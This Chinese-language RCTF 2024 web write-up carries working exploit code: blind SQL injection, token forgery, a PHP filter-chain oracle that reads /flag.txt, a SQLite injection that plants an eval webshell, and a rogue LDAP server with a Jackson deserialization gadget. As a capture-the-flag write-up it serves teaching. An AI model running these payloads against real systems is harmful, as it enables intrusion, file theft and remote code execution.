首页 > 其他分享 >RCTF 2024 WEB wp

RCTF 2024 WEB wp

时间:2024-05-28 18:44:54浏览次数:18  
标签:blow WEB convert RCTF string req up 2024 prefix

RCTF 2024 WEB wp

前言

赛后复现,proxy发现自己真是个呆b...

what_is_love

首先拿key1,sql语句处有注入,可以盲注拿key1的值

import requests
import string
strings = string.digits + string.ascii_uppercase + "_"
url="http://1.94.13.174:10088/key1"
flag='RCTF{'
payload="1' || BINARY love_key REGEXP '{}' #"
for i in range(100000):
    for j in strings:
        data={
            'key1':payload.format(flag+j)
        }
        req=requests.post(url,data=data)
        if "success" in req.text:
            flag=flag+j
            print(flag)
            break

然后key2,本地没有测试saltedSecret 的值,到很晚才解出来..,阅读源码可以知道saltedSecretsecretlove_time 拼接而成,love_time 的值我们可以控制,我们设置成字符串,经过parseInt处理会变成NaN,不管secret 是什么,跟NaN 拼接后也会是NaN,所以saltedSecret 的值就是NaN ,既然salt值可控了,加密方式是sha256,那我们就可以随意构造token了,写个全自动的脚本

import requests
import base64
import hashlib
import json


url = "http://1.94.13.174:10088/key2"
data = {
    "username": "lover",
    "love_time": "a"
}
response = requests.post(url, data=data)
token = response.text.split("token:")[1].strip()
print(f"Obtained token: {token}")


userinfo = {
    "username": "lover",
    "love_time": None,
    "have_lovers": True
}
data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
evil_token = f"{data_hex}.{signature}"
print(f"Constructed evil token: {evil_token}")


url = "http://1.94.13.174:10088/check"
data = {
    "love_token": evil_token
}
response = requests.post(url, data=data)
print(f"Response from /check: {response.text}")
#_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

color

Js逆向拿到密钥和iv,测试点击逻辑,可以发现pos的值由rangeNum控制,我们控制rangeNum的值不变,拿返回的json中的data值作为pos的值发送就可以刷分了

import requests

url = "http://124.71.164.28:10088/final/game.php"

r = requests.Session()
# 获取cookie
r.get(url)
# 刷分
data1 = {
    'action': '3wrg4Ich1RsKFUUPmU0vlw==',
    'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
}

for i in range(500):
    data2 = {
        'action': 's03/Zr+K7nTxLc2aiHJQcg==',
        'pos': r.post(url, data1).json()['data']
    }
    print(r.post(url, data2).json())

# game over
data3 = {
    'action': 'IMYZakV42qGIPRWdg/WfFg=='
}  
print(r.post(url, data3).json())

# {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}

secret解密一下,拿到源码,阅读源码,漏洞点在这

image

file_get_contents,我们可以打侧信道盲注

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
  return '|'.join(x)

def err(s):
  print(s)
  raise ValueError

def req(s):
  data = f'php://filter/{s}/resource=/flag.txt'
  datas = {
        'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
  }
  files = {
      'image': ('web.png', data)
  }
  return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
  payload = join(*[blow_up_utf32]*n)
  if req(f'{header}|{payload}'):
    baseline_blowup = n
    break
else:
  err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
  req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
  req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
  req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
  err('something wrong')
if j[0] == False:
  header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
  header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
  header = f'convert.base64-encode|convert.base64-encode'
else:
  err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
  global flip, r2, r4
  o = []
  chunk = n // 2
  if chunk % 2 == 1: o.append(r4)
  o.extend([flip, r4] * (chunk // 2))
  if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
  return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
  if not req(f'{prefix}|dechunk|{blow_up_inf}'):
    # a-f A-F 0-9
    if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
      # a-e
      for n in range(5):
        if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'edcba'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
      # A-E
      for n in range(5):
        if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'EDCBA'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
      return '*'
    elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # f
      return 'f'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # F
      return 'F'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
    # n-s N-S
    if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
      # n-r
      for n in range(5):
        if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'rqpon'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
      # N-R
      for n in range(5):
        if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'RQPON'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # s
      return 's'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # S
      return 'S'
    else:
      err('something wrong')
  elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # i j k
    if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'k'
    elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'j'
    elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'i'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # I J K
    if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'K'
    elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'J'
    elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'I'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # v w x
    if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'x'
    elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'w'
    elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'v'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # V W X
    if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'X'
    elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'W'
    elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'V'
    else:
      err('something wrong')
  elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # Z
    return 'Z'
  elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # z
    return 'z'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # M
    return 'M'
  elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # m
    return 'm'
  elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # y
    return 'y'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # Y
    return 'Y'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # l
    return 'l'
  elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # L
    return 'L'
  elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # h
    return 'h'
  elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # H
    return 'H'
  elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # u
    return 'u'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # U
    return 'U'
  elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # g
    return 'g'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # G
    return 'G'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # t
    return 't'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # T
    return 'T'
  else:
    err('something wrong')

print()
for i in range(100):
  prefix = f'{header}|{get_nth(i)}'
  letter = find_letter(prefix)
  # it's a number! check base64
  if letter == '*':
    prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
    s = find_letter(prefix)
    if s == 'M':
      # 0 - 3
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '0'
      elif ss in 'STUVWX':
        letter = '1'
      elif ss in 'ijklmn':
        letter = '2'
      elif ss in 'yz*':
        letter = '3'
      else:
        err(f'bad num ({ss})')
    elif s == 'N':
      # 4 - 7
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '4'
      elif ss in 'STUVWX':
        letter = '5'
      elif ss in 'ijklmn':
        letter = '6'
      elif ss in 'yz*':
        letter = '7'
      else:
        err(f'bad num ({ss})')
    elif s == 'O':
      # 8 - 9
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '8'
      elif ss in 'STUVWX':
        letter = '9'
      else:
        err(f'bad num ({ss})')
    else:
      err('wtf')

  print(end=letter)
  o += letter
  sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'',b'')
print(b64decode(d))

删掉前面的几个无关字符,base64解码拿到flag

proxy

其实挺简单一题,就是有点抽风就想不到...,阅读源码,很明显是个sqlite注入,curl_exec 是一点用也没有的,控制$BE就可以开始注入了,但是源码中写了个rollback,也就是有一条sql语句执行没成功就回滚了,于是开始了漫长的测试,测到最后也没同时满足所有sql语句,最终解法:手动commit一次...

payload:?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval($_POST[1]);phpinfo();?>'); commit;--+

读取flag.php拿到flag

OpenYourEyesToSeeTheWorld

睁眼看世界,睁眼了但没看到世界,审了半天,入口都没找到,害,阅读源码,很明显是个jndi注入,找到入口基本就秒了,一直追踪search到这

image

进入p_resolveIntermediate

image

跟进c_resolveIntermediate_nns,上下两个都一样

image

进入c_lookup,里面就是熟悉的lookup流程了,就不多说这个,怎么才能进到这个c_lookup呢,得满足两个条件,Head和Tail不为空就行了,这两个从searchBase 获取的,对黑名单的绕过可以使用unicode编码,searchBase 在这里进行了处理,可以控制Head和Tail的值

image

进入这个CompositeName,其实就是对/ 进行了分割,写入了一个impl中,具体流程请自行研究,入口找到了就可以打了,既然是spring,直接就能打jackson的templateImpl了,这里打高版本的ldap

package com.ctf;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;


public class LDAPServer2 {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public static class HttpFileHandler implements HttpHandler {
        public HttpFileHandler() {
        }

        public void handle(HttpExchange httpExchange) {
            try {
                System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
                String uri = httpExchange.getRequestURI().getPath();
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

                if (inputStream == null){
                    System.out.println("Not Found");
                    httpExchange.close();
                    return;
                }else{
                    while(inputStream.available() > 0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }

                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, (long)bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                }
            } catch (Exception var5) {
                var5.printStackTrace();
            }

        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            /** Payload1: Return Reference Factory **/
            // e.addAttribute("javaCodeBase", cbstring);
            // e.addAttribute("objectClass", "javaNamingReference");
            // e.addAttribute("javaFactory", this.codebase.getRef());
            /** Payload1 end **/

            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }

    public static void main(String[] args) throws Exception {
        String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
        args = args1;
        System.out.println("HttpServerAddress: "+args[0]);
        System.out.println("HttpServerPort: "+args[1]);
        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = args[0];
        int ldap_port = Integer.valueOf(args[2]);
        int http_server_port = Integer.valueOf(args[1]);

        lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}
package com.example.demo.controller;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        FileOutputStream fos = new FileOutputStream("D:\\1.txt");
        fos.write(serial(exp).getBytes());
        Base64.getDecoder().decode(serial(exp));
        File f = new File("D:\\1.txt");
        BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
        System.out.println(bfr.readLine());
//        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

nosandbox

官方wp还没出,说实话不知道/flag的密钥有啥用,看SAINTSEC的师傅是直接打的cc。所以这题先空着,之后补充(

标签:blow,WEB,convert,RCTF,string,req,up,2024,prefix
From: https://www.cnblogs.com/F12-blog/p/18218635

相关文章

  • 升鲜宝供应链管理系统重构版发布(技术点:Java8、mysql8.0 uniapp、vue、android、web 框
    升鲜宝供应链管理系统重构版发布(技术点:Java8、mysql8.0uniapp、vue、android、web框架:Vue3+SpringBoot3),界面功能(二)    客户订货---订货模板      客户订货模板      ......
  • from selenium import webdriver
    url='https://chat18.aichatos8.com'chrome_binary_path='/Users/baidu/project/script/chromedriver/chrome-mac-arm64/GoogleChromeforTesting.app/Contents/MacOS/GoogleChromeforTesting'chromedriver_path='/Users/baidu/project/s......
  • BUUCTF-WEB(46-50)
    [安洵杯2019]easy_web开局注意到一个img和cmd参数img这个参数像base64,我们打开cyberchef解密一下CyberChef解密是base64->base64->hex我们加密hex->base64->base64,我们这样就可以获得index.php的源码,所以我们这样加密然后我这边好像有点问题这是正确的?img=TmprMlpUW......
  • SOLIDWORKS正版一年多少钱 2024版报价
    SOLIDWORKS软件作为一款优秀的三维设计工具,以其强大的功能和优质的设计工具,为设计师们提供了前所未有的便利。SOLIDWORKS三维设计软件是一款多科学集成软件,它在产品开发和制造方面发挥着重要作用。作为整个SOLIDWORKS产品开发解决方案套件的基础,SOLIDWORKSCAD软件包涵盖了多......
  • 2024盘古石取证比赛(IPA+人工智能)
    题目列表IPA部分1.分析毛雪柳的手机检材,记账APP存储记账信息的数据库文件名称是:[答案格式:tmp.db,区分大小写][★★★★☆]通过icost软件可以定位raealm数据库default.realm2.分析毛雪柳的手机检材,记账APP中,2月份总收入金额是多少:[答案格式:1234][★★★★★]下载......
  • Nginx(openresty) 通过lua结合Web前端 实现图片,文件,视频等静态资源 访问权限验证,进行
    1本文系统环境:安装openresty(nginx),可参考:test@ubuntuserver:~$cat/etc/os-releasePRETTY_NAME="Ubuntu24.04LTS"NAME="Ubuntu"VERSION_ID="24.04"VERSION="24.04LTS(NobleNumbat)"VERSION_CODENAME=nobleID=ubuntuID_LIK......
  • ctfshow web 月饼杯II
    web签到<?php//Author:H3h3QAQinclude"flag.php";highlight_file(__FILE__);error_reporting(0);if(isset($_GET["YBB"])){if(hash("md5",$_GET["YBB"])==$_GET["YBB"]){echo"小伙子不错嘛!!......
  • WebGIS 智慧城市可视化合集 | 图扑数字孪生
    智慧城市可视化建设不仅提升了城市管理的科技含量和效率,还促进了城市可持续发展,提升了居民的生活质量。随着技术的不断发展和应用,智慧城市可视化建设将会更加丰富和完善,为城市发展带来更加广阔的前景。效果展示图扑应用自研HTforWeb产品搭建轻量化GIS智慧城市,一屏覆盖城市......
  • .net core的WebAPI+Vue2实现调用设备拍照上传图片功能
    在工作中有时候会遇到上传文件上传图片或者拍照上传图片功能。这时候底下的内容就有可能可以帮助到你。后端的支持上传图片和上传文件功能。前端如果你选择普通上传功能就是普通上传功能,我这里选择的是调用相机设备实现拍照上传图片功能。1.首先这是后端的控制器接口。1///<......
  • 2024提升数字思维能力加快企业数字化转型(74页PPT)
    方案介绍:本报告的价值在于为企业提供了一套系统的提升数字思维能力、加快数字化转型的理论框架和实践指南。通过本报告的学习和应用,企业可以更加清晰地认识到数字化转型的重要性和紧迫性,明确自身在数字化转型中的优势和不足,并找到适合自己的转型路径和策略。同时,本报告也为企......